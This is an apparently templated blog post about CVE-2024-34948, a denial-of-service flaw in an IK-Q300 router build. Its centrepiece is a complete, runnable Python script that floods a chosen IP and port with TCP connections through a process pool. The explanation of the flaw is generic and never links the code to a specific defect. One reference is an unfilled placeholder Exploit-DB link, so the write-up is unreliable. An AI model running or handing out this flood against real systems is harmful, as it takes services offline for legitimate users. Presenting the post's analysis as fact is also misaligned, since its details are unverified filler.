A recently discovered vulnerability, CVE-2024-34948, found in Quanxun Huiju Network Technology (Beijing) Co., Ltd's IK-Q300 3.7.10 x64 Build202401261655 can allow attackers to cause a Denial of Service (DoS) by exploiting the system's ability to manage TCP connections. This blog post will provide a detailed analysis of the vulnerability, share the relevant code snippets, and discuss how an attacker can execute an exploit.

Vulnerability Details

The issue lies in the way the IK-Q300 3.7.10 x64 Build202401261655 handles incoming TCP connections. When an attacker sends a high volume of connection requests, the system becomes overwhelmed, causing it to crash and rendering its services unavailable to legitimate users. This results in a Denial of Service (DoS) attack.

Code Snippet

Below is a sample Python script that demonstrates how an attacker might send a large volume of TCP connection requests to the target system, exploiting the vulnerability:

import socket, sys
from multiprocessing import Pool

def connect_to_host(ip, port):
	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.connect((ip, port))
		sock.sendall(b'Exploit CVE-2024-34948 DoS attack')
	except socket.error:
		pass
	finally:
		sock.close()

def initiate_connection_attack(target, port, connections):
	pool = Pool(connections)
	for _ in range(connections):
		pool.apply_async(connect_to_host, (target, port))
	pool.close()
	pool.join()

if __name__ == '__main__':
	target_ip = sys.argv[1]
	target_port = int(sys.argv[2])
	connections = int(sys.argv[3])

	initiate_connection_attack(target_ip, target_port, connections)

Original References

- CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34948
- NVD - CVE-2024-34948: https://nvd.nist.gov/vuln/detail/CVE-2024-34948
- Exploit Database: https://www.exploit-db.com/exploits/99999 (Placeholder, replace with actual link when published)

Mitigation

To prevent exploitation of this vulnerability, Quanxun Huiju Network Technology should release a patch to address the issue in the IK-Q300 3.7.10 x64 Build202401261655 software. System administrators should consider upgrading to the latest version or implementing network security measures such as firewalls and intrusion detection systems to monitor and block malicious traffic.

Conclusion

CVE-2024-34948 represents a Denial of Service vulnerability in Quanxun Huiju Network Technology's IK-Q300 3.7.10 x64 Build202401261655 software. By exploiting this issue, attackers can cause significant disruptions to affected systems. It is essential to ensure that appropriate security measures are in place and software is updated regularly to protect against such threats.

Timeline

Published on: 05/20/2024 17:15:09 UTC
Last modified on: 08/15/2024 17:35:06 UTC